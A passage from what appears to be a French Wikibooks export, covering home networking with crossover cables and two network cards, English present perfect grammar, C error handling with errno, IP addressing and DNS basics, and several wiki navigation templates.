* Paquets : envoyés : 4 reçus 0 perdus : 4 (perte 100%) il faut revoir votre configuration carte reseau et/ou voir du coté du firewall, proxy etc == Schéma du cable croisé == Pour réaliser un câble croisé, utiliser un câble informatique 4 paires, et deux prises RJ45. D'un côté, aâbler deux paires en 123-6, et de l'autre, inverser ces deux paires pour les cabler également en 123-6. Vous devez donc avoir ceci : 1 ------------- 3 2 ------------- 6 3 ------------- 1 6 ------------- 2 == Réseau indépendant == Il est beaucoup plus pratique que le reseau direct == 2 cartes réseau sur le même ordinateur == cette configuration permet d'avoir un accès dsl/internet par la première carte réseau et un accès intranet sur une deuxième machine par le biais du réseau microsoft. la première carte: réseau 1 --------------------------- elle est dédiée à l'accès internet. elle est reliée au routeur perso par un câble droit . elle est configurée manuellement: si l'adresse IP routeur est: 192.168.1.1 l'adresse IP de la carte sera par ex: 192.168.1.2 masque : 255.255.255.0 configurer dns : - hôte:Router,domaine:Router - ordre de recherche dns: 192.168.1.1 configurer la passerelle: 192.168.1.1 désactiver les liens : client microsoft et partage de fichiers mode : ouverture de session windows (+ rapide) la deuxième carte : réseau 2 ---------------------------- elle est reliée au deuxième ordinateur par cable croisé et utilise le réseau microsoft (tcp/ip ,lien client microsoft,partage de fichier et imprimante ) configuration manuelle aussi: réseau 2 ordinateur1 : spécifier une adresse IP ex: 192.169.1.3 réseau 2 ordinateur2 : spécifier une adresse IP ex: 192.169.1.2 masque de sous réseau : 255.255.255.0 (24 bits) passerelle : ne rien entrer dns :désactivé liens : client microsoft et partage de fichiers mode : ouverture de session windows (+ rapide) pour que tout cela fonctionne correctement: ------------------------------------------ 1/ configurer en premier le réseau microsoft qui lie les 2 ordinateurs en intranet en ayant débranché la connexion internet donc le câble éthernet du routeur. 2/ n'oubliez pas de mettre en service le partage des disques ou des répertoires++ et de donner un nom simple aux 2 ordinateurs ! par ex: \\X0 et \\X1 . 3/ quand le réseau microsoft fonctionne correctement branchez le câble éthernet du routeur et vous devriez avoir : Ordi 1 : acces internet + acces intranet perso (O1-O2) Ordi 2 : acces intranet(O2-O1) conclusion: ---------- Cette méthode a l'avantage de protéger une partie du réseau plus encore si on ne partage qu'un répertoire par ex: "mes documents" alors qu'une connexion sur switch ou hub éthernet consomme de l'énergie et redistribue toutes les données sur les 2 ordinateurs ce qui est plus difficile à contrôler. Anglais : Parfait présent 2131 41751 2006-05-07T11:23:58Z Eileen 1485 /* Question */ __NOTOC__ == Parfait présent simple == === Conjugaison === Pour tous les verbes le parfait présent simple se conjugue suivant la formule : {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|auxiliaire "to have" conjugué à la personne adéquate au présent + participe passé du verbe à conjuguer |} {| border=1 cellspacing=0 cellpadding=3px style="background-color: #99CCFF;" !colspan=2|to go||colspan=2|to see||colspan=2|to sleep||colspan=2|to finish |- |I have gone||we have gone||I have seen||we have seen||I have slept||we have slept||I have finished||we have finished |- |you have gone||you have gone||you have seen||you have seen||you have slept||you have slept||you have finished||you have finished |- |he, she has gone||they have gone||he, she has seen||they have seen||he, she, it has slept||they have slept||he, she has finished||they have finished |} === Négation === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + "to have" (conjugué) + not + participe passé du verbe à conjuguer |} ex: I haven't seen him ; she hasn't come back yet; we haven't been there === Interrogation === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|>(pronom interrogatif)+ have conjugué + sujet + participe passé |} ex: what have you done?; has she finished?; has she told him? === Emploi === *On utilise le parfait présent quand on parle d'une action qui a eu lieu dans le passé mais dont les effets continuent jusqu'au présent. C'est pour tirer un bilan. I've never been to Moscow. I've eaten seventeen pizzas this month already. Have you had breakfast? I've often worked in industry. Notez bien que souvent en anglais américain on utilise parfois le prétérit même quand on devrait utiliser le parfait présent, donc, il sonnera beaucoup plus étrange d'utiliser le parfait présent quand on devrait utiliser le prétérit que de faire l'inverse. *On emploie souvent le parfait présent pour faire un bilan d'actions achevées ou inachevées. === Exemples === I've done it!<BR> ''Je l'ai fait!'' It hasn't been done since 1980.<BR> ''Cela n'a pas été fait depuis 1980.'' Have you finished your homework ?<BR>''As-tu fini tes devoirs ?'' == Parfait présent progressif == En anglais le parfait présent progressif s'appelle le '''Present perfect continuous'''.Il ne peut s'employer qu'avec des verbes indiquant des actions. === Conjugaison === Le parfait présent progressif se conjugue suivant la formule : {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + auxiliaire "have" conjugué à la personne adéquate + been + participe présent du verbe à conjuguer |} === Question === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|(pronom interrogatif)+ auxiliaire "have" conjugué à la personne adéquate + sujet + been + participe présent du verbe à conjuguer |} ex: what have you been drinking? === Emploi === *On utilise la forme progressive du présent parfait lorsque le processus est encore valide, actuel, visible ou lorsque que l'on veut insister sur le déroulement de l'action. On peut l'employer avec ''for'' ou ''since''. *On préfère le parfait présent progressif lorsque l'on veut insister sur le déroulement de l'action (l'activité en elle-même) plutôt que sur le résultat de l'action (souvent exprimée à l'aide de chiffres).<br />Exemple : I have been playing tennis all afternoon. ''J'ai joué au tennis toute l'après-midi.''<br />I have played two tennis matches this afternoon. ''J'ai joué deux matchs de tennis cette après-midi.'' === Exemples === *I've been working on this project for 5 years.<BR> ''Je travaille sur ce projet depuis 5 ans.'' *Have you been working on this project for 5 years ? *I have been learning English since high school.<BR>''J'apprends l'anglais depuis le collège.'' == Application == [[Image:Evolution-tasks.png]] [[Anglais : Parfait présent_Test|Test]] <br /> ---- Retour au [[Enseignement de l'anglais|sommaire]] / [[Anglais:Since et for|Since et for]] ---- Wikilivres:Recherche 2133 13764 2005-01-05T13:06:37Z Marc 66 restitution de la dernière modification de 62.202.45.160 additionner avec les schèmes Programmation C Erreurs 2138 45824 2006-06-26T15:45:57Z Tpierron 79 18446744073709551616 se code sur 65bits {{Programmation C}} Le langage C fournit un en-tête spécialisé pour la gestion des erreurs : <code>errno.h</code>. Cet en-tête déclare notamment une variable globale <code>errno</code>, et un certain nombre de codes d'erreur, qui permettent aux fonctions de la bibliothèque standard de reporter précisément la cause d'une erreur. == Utilisation == Pour inclure l'en-tête de son fichier source, il faut ajouter la ligne : #include <errno.h> On peut alors utiliser la variable <code>errno</code>, de type <code>int</code>, pour traiter les erreurs<ref name="typeErrno"><code>errno</code> peut être définie par une macro ou un identificateur. N'essayez donc pas de récupérer son adresse.</ref>. Lorsqu'on veut utiliser <code>errno</code> pour déterminer la cause d'un échec, il faut d'abord s'assurer que la fonction a bel et bien échoué. Le C laissant une certaine liberté dans la manière de signaler un échec, il n'y a pratiquement aucun mécanisme universel qui permette de détecter une telle situation, chaque fonction étant presque un cas particulier. Cepandant, une pratique relativement répandue est de retourner un code spécifique, en général en dehors de l'intervalle de ce qu'on attend. Par exemple, lorsque la fonction est censée allouer un objet et retourne un pointeur, une erreur est souvent signalée en retournant le pointeur générique <code>NULL</code>, et la variable <code>errno</code> décrit plus en détail la nature de l'erreur. Une fois qu'on est sûr que la variable <code>errno</code> contient une valeur pertinente, il est indispensable de présenter un message tout aussi significatif à l'utilisateur. Rien n'est plus frustrant qu'un message aussi abscons que : "<code>fopen("/tmp/tmpab560f9d4", "w") : erreur 28</code>", alors qu'écrit sous la forme&nbsp;: "<code>impossible de créer le fichier /tmp/tmpab560f9d4: plus de place disponible sur le périphérique</code>", c'est tout de suite nettement plus pertinent. Énumérer toutes les valeurs possibles d'<code>errno</code> peut être relativement pénible, surtout si on doit le faire dans chaque application. Heureusement qu'une fonction toute prête existe&nbsp;: #include <string.h> char * strerror(int code); Cette fonction permet de connaître la signification textuelle d'une valeur de <code>errno</code>. À noter que le code de retour est une chaine statique, dont il est sage de présupposer la durée de vie la plus courte possible. N'essayez pas non plus de modifier le contenu de la chaîne, affichez la directement ou copiez la dans une zone temporaire. Un autre intérêt de passer par cette fonction est que les messages retournés sont adaptés à la localisation du système. Ce qui est loin d'être négligeable, lorsqu'on voit la pléthore d'erreurs que peuvent générer ne serait-ce que les fonctions d'entrées/sorties. == Exemple == Pour illustrer cela, voici un exemple, qui tente de convertir une chaine de caractères en un nombre. Le nombre donné, 2<sup>64</sup>, peut ne pas être dans le domaine de valeur du type <code>unsigned long</code> (qui peut se limiter à 2<sup>32</sup> - 1), suivant l'architecture. Dans ce cas, on utilise <code>errno</code> pour afficher un message d'erreur approprié à l'utilisateur. <pre> #include <stdio.h> /* puts(), printf(), NULL */ #include <stdlib.h> /* strtoul() */ #include <limits.h> /* ULONG_MAX */ #include <string.h> /* strerror() */ #include <errno.h> /* errno */ void teste(const char *nombre) { errno = 0; unsigned long res = strtoul(nombre, NULL, 10); if (res == ULONG_MAX && errno != 0) { /* il y a eu une erreur ! */ printf("Impossible de convertir le nombre '%s': %s.\n", nombre, strerror(errno)); } else { printf("La conversion a été effectuée, et la valeur est: %lu\n", res); } } int main(void) { /* 2 puissance 8 : sera toujours accepte */ teste("256"); /* 2^64 - 1 : peut echouer suivant la machine */ teste("18446744073709551615"); return 0; }</pre> Si le type <code>unsigned long</code> est codé sur 32 bits, on peut obtenir: La conversion a été effectéee, et la valeur est: 256 Impossible de convertir le nombre '18446744073709551615': la valeur est en dehors de l'intervalle du type spécifié. Il est nécessaire de placer <code>errno</code> à 0 ''avant'' d'utiliser <code>strtoul</code>, car les fonctions de la bibliothèque standard ne sont pas obligées de la mettre à zéro en cas de succès. Si on ne la réinitialisait pas «&nbsp;manuellement&nbsp;», on pourrait voir le résultat d'une erreur causée par un appel de fonction antérieur. C'est une des lourdeurs du modèle de gestion d'erreur du C, bien qu'une telle paranoïa n'est pas toujours nécessaire. == Notes == <references /> Image:Wikibooks2.png 2139 13770 2004-12-26T14:29:25Z Xillimiandus 134 Une proposition de logo. From en. Une proposition de logo. From en. Image:50%.png 2141 13772 2005-05-09T11:16:55Z Skipi 246 +en [[en:Image:50%.png]] Etat des wikilivres : 50% Image:25%.png 2142 13773 2005-05-09T11:16:22Z Skipi 246 +en [[en:Image:25%.png]] Etat des wikilivres : 25% Image:75%.png 2143 13774 2005-05-09T11:18:52Z Skipi 246 +en [[en:Image:75%.png]] Etat des wikilivres : 75% Image:100%.png 2144 13775 2005-05-09T11:19:51Z Skipi 246 +en [[en:Image:100%.png]] Etat des wikilivres : 100% Modèle:Étagère des Sciences exactes 2145 23269 2005-10-15T16:37:21Z 66.130.50.226 <center>'''<big>Sciences de la nature et sciences exactes</big>'''</center> '''A<small>STRONOMIE</small>''' - [[Celestia|Simulateur spatial]] [[image:25%.png]] [[Mathématiques|'''M<small>ATHÉMATIQUES</small>''']] - [[Calcul écrit]] [[image:25%.png]] - [[Algèbre]] [[image:25%.png]] - [[Analyse]] [[image:25%.png]] - [[Algèbre linéaire]] [[image:25%.png]] - [[Algèbre de Boole]] [[image:25%.png]] - [[Arithmétique élémentaire]] [[image:00%.png]] - [[Géométrie]] [[image:25%.png]] - [[S'initier au boulier en 10 leçons|S'initier au boulier]] [[image:100%.png]] - [[Fondements des mathématiques]] [[image:50%.png]] - [[Approfondissements de lycée]] [[image:75%.png]] - '''S<small>CIENCES</small> P<small>HYSIQUES</small>''' - [[Physique]] [[image:25%.png]] - [[Physique Subatomique]] [[image:00%.png]] - [[Thermodynamique]] [[image:25%.png]] - [[Électricité]] [[image:25%.png]] - [[Mécanique des fluides]] [[image:25%.png]] - [[MEF|Mécanique numérique]] [[image:25%.png]] - '''C<small>HIMIE</small>''' - [[Chimie générale]] [[image:75%.png]] - [[Chimie organique]] [[image:25%.png]] - '''M<small>ÉDECINE</small>''' - '''S<small>CIENCES DE LA</small> V<small>IE</small>''' - [[Biologie cellulaire]] [[image:25%.png]] - [[Biologie humaine]] [[image:25%.png]] - [[Biochimie]] [[Image:100%.png]] - [[Physiologie de l'imagination et du langage]] [[image:25%.png]] - '''Z<small>OOLOGIE</small>''' - [[Clés dichotomiques]] [[image:00%.png]] - '''S<small>CIENCES DE LA</small> T<small>ERRE</small>''' [[Dynamique des enveloppes]] [[image:00%.png]] Tribologie 2146 13777 2004-12-26T16:36:55Z Xillimiandus 134 corr. redirect. #REDIRECT [[Tribologie - Couverture]] Tribologie - Généralité 2148 13779 2004-12-26T16:35:59Z Xillimiandus 134 Tribologie - Généralité déplacé vers Tribologie - Généralités #REDIRECT [[Tribologie - Généralités]] Projet:Charte pédagogique 2151 28077 2006-01-02T05:46:27Z 86.203.216.73 Ajout de mon texte, "Comment rédiger un didacticiel" {{ébauche}} Attention ceci n'est qu'une proposition de charte et ne peut être considérée comme modèle phare de '''Wikilivres'''. En revanche si vous avez des modifications à faire parce que vous jugez cette charte incomplète ou inadaptée, veuillez les justifier après avoir modifié cette page dans la page de discussion [[Discuter:Projet:Charte pédagogique]]. Bien amicalement --[[Utilisateur:Anarchimede|Anarchimede]] 27 déc 2004 à 02:40 (UTC) # Avant d'aborder un sujet en profondeur il faut avant tout bien définir les éléments nécessaires à la compréhension de ce sujet. # Pour que chaque sujet soit compris par un maximum de personne, il est nécessaire de le présenter de manière ludique avec des notions et des références accessibles à tous. # Si certains « chapitres » d'un sujet nécessitent des prérequis il faut les préciser avec des liens amenant vers des pages existantes ou à créer. # à vous d'en dire plus ;-) == Voir aussi == * [http://www.framasoft.net/article4182.html Comment rédiger un didacticiel] Un texte libre de conseils, pour Framasoft, qu'il est bon de lire aussi pour la wikipedia. Catégorie:Wikilivres:ébauches 2152 25980 2005-11-24T17:32:01Z Marc 66 Les ébauches sont des articles à compléter. [[Catégorie:Maintenance]] Modèle:Étagère des Langues 2155 20813 2005-09-09T15:18:45Z Darkdadaah 440 -dico fructueux supprimé (du moins transféré vers le Wiktionnaire) <center>'''<big>Langues</big>'''</center> [[Enseignement des langues|'''A<small>PPRENTISSAGE</small>''']] - [[Enseignement de l'allemand|Allemand]] [[image:25%.png]] - [[Enseignement de l'anglais|Anglais]] [[image:50%.png]] - [[Enseignement de l'arabe|Arabe]] [[image:25%.png]] - [[Enseignement du bambara|Bambara]] [[image:50%.png]] - [[Enseignement du catalan|Catalan]] [[image:25%.png]] - [[Enseignement du chinois|Chinois]] [[image:25%.png]] - [[Enseignement du Coréen|Coréen]] [[image:00%.png]] - [[Enseignement du corse|Corse]] [[image:25%.png]] - [[Cours d'espagnol|Espagnol]] [[image:25%.png]] - [[Enseignement de l'espéranto|Espéranto]] [[image:25%.png]] - [[Enseignement du finnois|Finnois]] [[image:25%.png]] - [[Enseignement du français|Français]] [[image:25%.png]] - [[Enseignement du hindi|Hindi]] [[image:25%.png]] - [[Enseignement du gujarati|Gujarati]] [[image:25%.png]] - [[Enseignement de l'interlingue (occidental)|Interlingue]] [[image:25%.png]] - [[Enseignement du néerlandais|Néerlandais]] [[image:25%.png]] - [[Table des matières (Japonais)|Japonais]] [[image:25%.png]] - [[Méthode latine]] [[image:25%.png]] - [[LSF|LSF : langue des signes française]] [[image:25%.png]] - [[Enseignement du peul|Peul]] [[image:25%.png]] - [[Enseignement du polonais|Polonais]] [[image:50%.png]] - [[Enseignement du portugais Boas-vindas|Portugais]] [[image:25%.png]] - [[Suédois]]{{25}} - [[Provençal]]{{25}} <br> - '''A<small>UTRES</small>''' - [[Dire merci dans le monde]] [[image:50%.png]] - [[Dire bonne année dans le monde]] [[image:50%.png]] - [[Dire bienvenue dans le monde]] [[image:00%.png]] - [[Phrases usuelles en différentes langues|Phrases usuelles]] [[image:50%.png]] - [[Vocabulaire|Vocabulaire français pour les étrangers]] [[image:25%.png]] TCP/IP 2160 29640 2006-01-21T01:47:50Z Guillaumito 46 fusion {{fusionner|Reseaux TCP/IP}} {{TCP/IP}} Voir la page [[w:fr:Suite des protocoles internet|Wikipédia]]. TCP/IP Adresses IP 2161 29641 2006-01-21T01:48:32Z Guillaumito 46 fusion {{fusionner|Reseaux TCP/IP : adressage IP v4}} {{ébauche}} {{TCP/IP}} ''Prérequis : [[représentation des nombres]] Une adresse IP est un entier écrit sur quatre octets, elle peut donc prendre des valeurs entre 0 et 2<sup>32</sup> - 1. Pour plus de commodité, on note les adresses en donnant les valeurs de chaque octet séparés par des points ; par exemple, 0 devient 0.0.0.0. Une adresse IP est constituée de deux parties : l'adresse du réseau et l'adresse de la machine, elle permet donc de distinguer une machine sur un réseau. Deux machines se trouvant sur un même réseau possédent la même adresse réseau mais pas la même adresse machine. ==Masques réseau== Ce découpage en deux parties est effectué en attribuant certains bits d'une adresse à la partie réseau et le reste à la partie machine. Il est représenté en utilisant un « masque réseau » où sont placé à un les bits de la partie réseau et à 0 ceux de la partie machine. Par exemple 207.142.131.245 est une adresse IP (celle de Wikilivres, en fait) et 255.255.255.0 un masque réseau indiquant que les trois premiers octet (les 24 premiers bits) sont utilisés pour adresser le réseau et le dernier octet (les 8 derniers bits) pour la machine. 207.142.131.245/255.255.255.0 désigne donc la machine d'adresse 245 sur le réeau d'adresse 207.142.131.0. Lorsque les bits du masque réseau sont contigus, on utilise une notation plus courte : IP/nombre de bits à 1. 207.142.131.245/255.255.255.0 peut donc aussi se noter 207.142.131.245/24. ==Classes d'adresses== Il existe différents découpages possible que l'on appellent « classses d'adresses ». À chacune de ces classes correspond un masque réseau différent : {| style="background:#C0C0F0;border:2px solid #8080F0;" cellspacing="0" cellpadding="5" | style="background:#8080F0;text-align:center;font-weight:bold;" | classe | style="background:#8080F0;text-align:center;font-weight:bold;" | premiers bits | style="background:#8080F0;text-align:center;font-weight:bold;" | premier octet | style="background:#8080F0;text-align:center;font-weight:bold;" | masque |- | A || 0 || 0-127 || 255.0.0.0 |- | B || 10 || 128-191 || 255.255.0.0 |- | C || 110 || 192-223 || 255.255.255.0 |- | D || 1110 || 224-239 || |- | E || 1111 || 240-255 || |} Les adresses de classe A permettent donc de créer des réseaux avec plus de machines, par contre, il y a beaucoup plus de réseaux de classe C possibles que de réseaux de classe A ou B. La classe D est une classe utilisée pour le « multicast » (envoie à plusieurs destinataires) et la classe E est résérvée. ==Adresses réseaux et adresses de diffusion== Une adresse réseau est une adresse IP qui désigne un réseau et non pas une machine de ce réseau. Elle est obtenue en placant tous les bits de la partie machine à zéro. Une adresse de diffusion (« broadcast » en anglais) est une adresse permettant de désigner toutes les machines d'un réseau, elle est obtenue en placant tous les bits de la partie machine à un. Par exemple : {| style="background:#C0C0F0;border:2px solid #8080F0;" cellspacing="0" cellpadding="5" | style="background:#8080F0;text-align:center;font-weight:bold;" | IP (classe) | style="background:#8080F0;text-align:center;font-weight:bold;" | masque | style="background:#8080F0;text-align:center;font-weight:bold;" | adresse réseau | style="background:#8080F0;text-align:center;font-weight:bold;" | adresse de diffusion |- | 10.10.10.10 (A) || 255.0.0.0 || 10.0.0.0 || 10.255.255.255 |- | 192.168.150.35 (C) || 255.255.255.0 || 192.168.150.0 || 192.168.150.255 |} ==Adresses déconseillées et réseaux privés== Pour éviter les ambiguïtés avec les adresses de réseau et les adresses de diffusion, les adresses « tout à zéro » et « tout à un » sont déconseillées pour désigner des machines sur un réseau. Dans chaque classe d'adresses, certaines adresses réseaux sont résérvés aux réseaux privés. {| style="background:#C0C0F0;border:2px solid #8080F0;" cellspacing="0" cellpadding="5" | style="background:#8080F0;text-align:center;font-weight:bold;" | classe | style="background:#8080F0;text-align:center;font-weight:bold;" | réseau privé |- | A || 10.0.0.0 |- | A || 127.0.0.0 |- | B || de 172.16.0.0 à 172.31.0.0 |- | C || de 192.168.0.0 à 192.168.255.0 |} Le cas du réseau 127.0.0.0 est particulier : il désigne la boucle locale. ==Sous-réseaux== Il est possible de découper un réseau en sous-réseaux en utilisant un masque de sous-réseau. Un masque de sous-réseau permet d'attribuer des bits supplémentaires à la partie réseau d'une adresse IP. Supposons que l'on dispose d'une adresse de classe C, elle permet normalement d'adresser 254 machines avec le masque 255.255.255.0. Il est possible de découper ce réseau en deux sous réseaux de 126 machines avec le masque 255.255.255.128 (128 = 10000000<sub>2</sub>). Modèle:Étagère d'Informatique 2162 22994 2005-10-13T19:52:02Z Greggory 673 <center>'''<big>Informatique</big>'''</center> '''P<small>ROGRAMMATION</small>''' - [[Programmation|Programmer]] {{25}} - [[Programmation 4GL|4GL]] {{00}} - [[Programmation C|C]] {{50}} - [[C_plus_plus|C++]] {{25}} - [[Programmation C sharp|C#]] {{25}} - [[Programmation HTML|HTML]] {{25}} - [[Programmation Java|Java]] {{50}} - [[Programmation LaTeX|LaTeX]] {{25}} - [[Programmation Logo|Logo]] {{75}} - [[Managed C Plus Plus|MC++]] {{50}} - [[Programmation GTK2 en Pascal|GTK2 en Pascal]] {{50}} - [[Programmation PHP|PHP]] {{25}} - [[Programmation Tcl|Tcl]] {{25}} '''B<small>ASES DE DONNEES</small>''' - [[Langage SQL|SQL]] {{00}} - '''A<small>DMINISTRATION</small>''' - [[Certifications Linux LPI]] {{25}} - [[Groupware]] {{25}} - [[GNU/Linux]] {{25}} - '''G<small>uides</small>''' - [[Migration Windows NT vers Linux|Migration Windows NT vers Linux (OpenLDAP/SaMBa)]] {{25}} - [[Lire et écrire le japonais sous Debian|Le japonais sous Debian]] & [[Lire et écrire le japonais sous Windows|sous Windows]] {{75}} - [[Réseau sous Windows]] {{25}} - [[Astuces pour Windows XP]] {{50}} - [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] {{75}} - [[:Catégorie:Microsoft Office|Microsoft Office]] {{25}} - [[:Catégorie:DOS|DOS]] {{00}} - [[:Catégorie:Photoshop|Photoshop]] {{00}} - '''L<small>OGICIELS LIBRES</small>''' - [[Documentation phpMyVisites|phpMyVisites]] {{100}} - [[GPG | GPG ]] {{100}} - [[Communiquer avec un Serveur Jabber]] {{25}} - [[Optimisation du navigateur Firefox]] Modèle:Étagère des Arts 2167 22808 2005-10-11T09:51:31Z Jean-Jacques MILAN 114 <center>'''<big>Arts</big>'''</center> [[Art culinaire]] [[Image:25%.png]] - '''A<small>RTS</small> M<small>ODERNES</small>''' - [[Blender3D]] [[Image:25%.png]] - '''A<small>UDIOVISUEL</small>''' - [[Faire son film]] [[Image:00%.png]] - '''B<small>EAUX ARTS</small>''' - [[Dessin]] [[Image:25%.png]] - [[Peinture]] [[Image:25%.png]] - [[Photographie]] [[Image:25%.png]] - '''D<small>ANSE </small>''' - [[Salsa ]] [[Image:00%.png]] - '''M<small>USIQUE</small>''' - [[Guitare]] [[Image:00%.png]] - '''T<small>HEORIE MUSICALE</small>''' - [[Bases de solfège|Les bases du solfège]] [[Image:25%.png]] Modèle:TCP/IP 2168 13793 2004-12-28T22:21:19Z Guillaumito 46 lien TCP/IP {| style="float:right;border:1px solid #000000;width:120px;" | style="text-align:center;font-weight:bold;background:#8080F0;" | [[TCP/IP]] |- | *[[TCP/IP Adresses IP|Adresses IP]] *[[TCP/IP DNS|DNS]] *[[TCP/IP Routage|Routage]] |} Modèle:Projets Wikimedia 2169 27878 2005-12-29T15:02:58Z Kelson 978 - illustrations en entière <div style="text-align: center; font-size: 80%"> [[Wikilivres:Wikilivres|Wikilivres]] un projet de la fondation [[w:fr:Wikimédia|Wikimédia]]. Wikimédia recouvre plusieurs projets [[w:wiki|wiki]] multilingues, gratuits et libres :</div> {| align="center" cellpadding="2" style="font-size:85%" |- valign="top" | colspan="3" | |- | {{clic || image=Wikipedia-logo.png | lien=w:Accueil | largeur=30px | hauteur=30px }} | [[w:Accueil|'''Wikipedia''']]<br />''L'encyclopédie libre'' | {{clic || image=Commons-logo.svg | lien=commons:Accueil | largeur=28px | hauteur=38px }} | [[commons:Accueil|'''Wikimedia Commons''']]<br />''Base de données multimédia'' | {{clic || image=Wiktionary.png | lien=wikt:Page d'accueil | largeur=30px | hauteur=30px }} | [[wikt:Page d'accueil|'''Wiktionnaire''']]<br />''Dictionnaire et synonymes'' | {{clic || image=Wikiquote-logo.png | lien=q:Accueil | largeur=30px | hauteur=30px }} | [[q:Accueil|'''Wikiquote''']]<br />''Des citations'' |- | {{clic || image=Wikimedia-logo.png | lien=m:Accueil | largeur=30px | hauteur=30px }} | [[m:Accueil|'''Meta-Wiki''']]<br />''Coordination des projets'' | {{clic || image=Wikinews-logo.png | lien=n:Accueil | largeur=30px | hauteur=16px }} | [[n:Accueil|'''Wikinews''']]<br />''Informations libres'' | {{clic || image=80px-Sourceberg.jpg | lien=s:Accueil | largeur=30px | hauteur=30px }} | [[s:Accueil|'''Wikisource''']]<br />''Bibliothèque universelle'' | {{clic || image=Wikispecies-logo.jpg | lien=Wikispecies:Accueil | largeur=30px | hauteur=34px }} | [[Wikispecies:Accueil|'''Wikispecies''']]<br />''Inventaire des espèces'' |} TCP/IP DNS 2170 29642 2006-01-21T01:49:14Z Guillaumito 46 fusion {{fusionner|Reseaux TCP/IP : les serveurs DNS}} {{ébauche}} {{TCP/IP}} Le DNS ('''D'''omain '''N'''ame '''S'''ystem) est un service qui permet d'effectuer la résolution de noms, c'est à dire d'associer une adresse IP à un FQDN ('''F'''ull '''Q'''ualified '''D'''omain '''N'''ame) et inversement. ==FQDN== Un FQDN est composé d'un nom d'hôte et d'un nom de domaine, par exemple <code>www.google.com</code> et un FQDN où <code>www</code> est le nom d'hôte et <code>google.com</code> le nom de domaine. Les noms de domaine sont organisés de manière hiérarchique, le domaine se trouvant le plus haut dans la hiérarchie est « . », il est omis dans les FQDN. En « dessous » dans la hiérarchie se trouvent les TLD ('''T'''op '''L'''evel '''D'''omain). Modèle:AutresWikilivres 2171 16278 2005-07-10T12:15:43Z 82.101.152.211 ; <small>Wikilivres de plus de 1 000 sections :</small> <div style="margin-left: 2em; margin-right: 2em;"> <big> [[:de:|Deutsch&nbsp;(allemand)]] – [[:en:|English&nbsp;(anglais)]] – <big>Français</big> </big> </div> ; <small>Wikilivres de plus de 100 sections :</small> <div style="margin-left: 2em; margin-right: 2em;"> <big> [[:ko:|한국어&nbsp;(Coréen)]] - [[:es:|Español&nbsp;(espagnol)]] - [[:he:עמוד ראשי|עברית (hébreu)]] – [[:it:|Italiano&nbsp;(italien)]] – [[:ja:|日本語&nbsp;(japonais)]] – [[:nl:|Nederlands&nbsp;(néerlandais)]] – [[:pl:|Polski&nbsp;(polonais)]] – [[:pt:|Português&nbsp;(portugais)]] – [[:ru:|Русский&nbsp;(russe)]] – [[:sv:|Svenska&nbsp;(suédois)]] </big> </div> ; <small>Wikilivres de moins de 100 sections :</small> <div style="margin-left: 2em; margin-right: 2em;"> <big> [[:bg:|Български&nbsp;(bulgare)]] - [[:ar:|عربي(arabe)]] - [[:zh:|中文&nbsp;(chinois)]] - [[:da:|Dansk&nbsp;(danois)]] – [[:eo:|Esperanto]] – [[:et:|Eesti&nbsp;(estonien)]] – [[:fi:|Suomi (finnois)]] - [[:gl:|Galego&nbsp;(galicien)]] – [[:el:|Ελληνικά&nbsp;(grec)]] - [[:is:|Íslenska&nbsp;(islandais)]] - [[:ie:|Interlingue]] - [[:hu:|Magyar&nbsp;(hongrois)]] – [[:ku:|Kurdî&nbsp;(kurde)]] – [[:no:|Norsk&nbsp;(norvégien)]] – [[:fa:|فارسی&nbsp;(perse)]] - [[:ro:|Română&nbsp;(roumain)]] - [[:sr:|српски&nbsp;(serbe)]] - [[:simple:|Simple English]] - [[:cs:|Česky&nbsp;(tchèque)]] – [[:tt:|Tatar]] - [[:tr:|Türkçe&nbsp;(turc)]] - [[:uk:|українська&nbsp;(ukrainien)]] - [[:vi:|Tiếng Việt&nbsp;(vietnamien)]] <div style="text-align: center; font-weight: bold;"> [[:en:Wikibooks_portal|Portail Multilingue]] – [[:en:Wikibooks:Multilingual coordination|Coordination multilingue]] – [[m:Complete list of language Wikibooks available|Liste complète]] <big> </div> Modèle:ÉtatDesWikilivres 2172 17996 2005-07-29T14:21:11Z Darkdadaah 440 remplacement des images par les modèles directement {| align=center style="background-color: white; border: 1px solid lightblue;" ! colspan=5 style="background-color: #D0E2EE;" align=center |État des wikilivres |---- |style="border-right: 1px solid #CCCCCC; padding: 0px 3px;"| Ébauche : {{0/4}} |style="border-right: 1px solid #CCCCCC; padding: 0px 3px;"| En cours : {{1/4}} |style="border-right: 1px solid #CCCCCC; padding: 0px 3px;"| Bien avancé : {{2/4}} |style="border-right: 1px solid #CCCCCC; padding: 0px 3px;"| Presque complet : {{3/4}} |style="padding: 0px 3px;"| Très complet : {{4/4}} |} Dire bonne année dans le monde 2173 39834 2006-04-08T10:36:41Z 81.80.51.103 <p>En marron : transcription phonétique. Source : [http://www.freelang.com/traduction/toutes/nvelan.html Freelang]</p> <table summary="107 lignes et deux colonnes"> <caption></caption> <tr> <th>Expression</th> <th>Vocable</th> </tr> <tr> <td>Afrikaans</td> <td>Gelukkige nuwejaar</td> </tr> <tr> <td>Albanais</td> <td>Gëzuar vitin e ri</td> </tr> <tr> <td>Allemand</td> <td>Ein gutes neues Jahr / prosit neujahr / prost neujahr</td> </tr> <tr> <td>Alsacien</td> <td>E glëckliches nëies / güets nëies johr</td> </tr> <tr> <td>Amazigh</td> <td>aseggwas ameggaz td> </tr> <tr> <td>Anglais</td> <td>Happy new year</td> </tr> <tr> <td>Arabe</td> <td style="color:#800000">سنة سعيدة / عام سعيد - Aam saiid / sana saiida </td> </tr> <tr> <td>Arménien</td> <td style="color:#800000">Shnorhavor nor tari</td> </tr> <tr> <td>Azeri</td> <td>Yeni iliniz mubarek</td> </tr> <tr> <td>Bambara</td> <td>Bonne année</td> </tr> <tr> <td>Bas-saxon</td> <td>Gelükkig nyjaar</td> </tr> <tr> <td>Basque</td> <td>Urte berri on</td> </tr> <tr> <td>Bengali</td> <td style="color:#800000">Subho nababarsho</td> </tr> <tr> <td>Berbère</td> <td style="color:#800000">Aseggwas ameggaz</td> </tr> <tr> <td>Biélorusse</td> 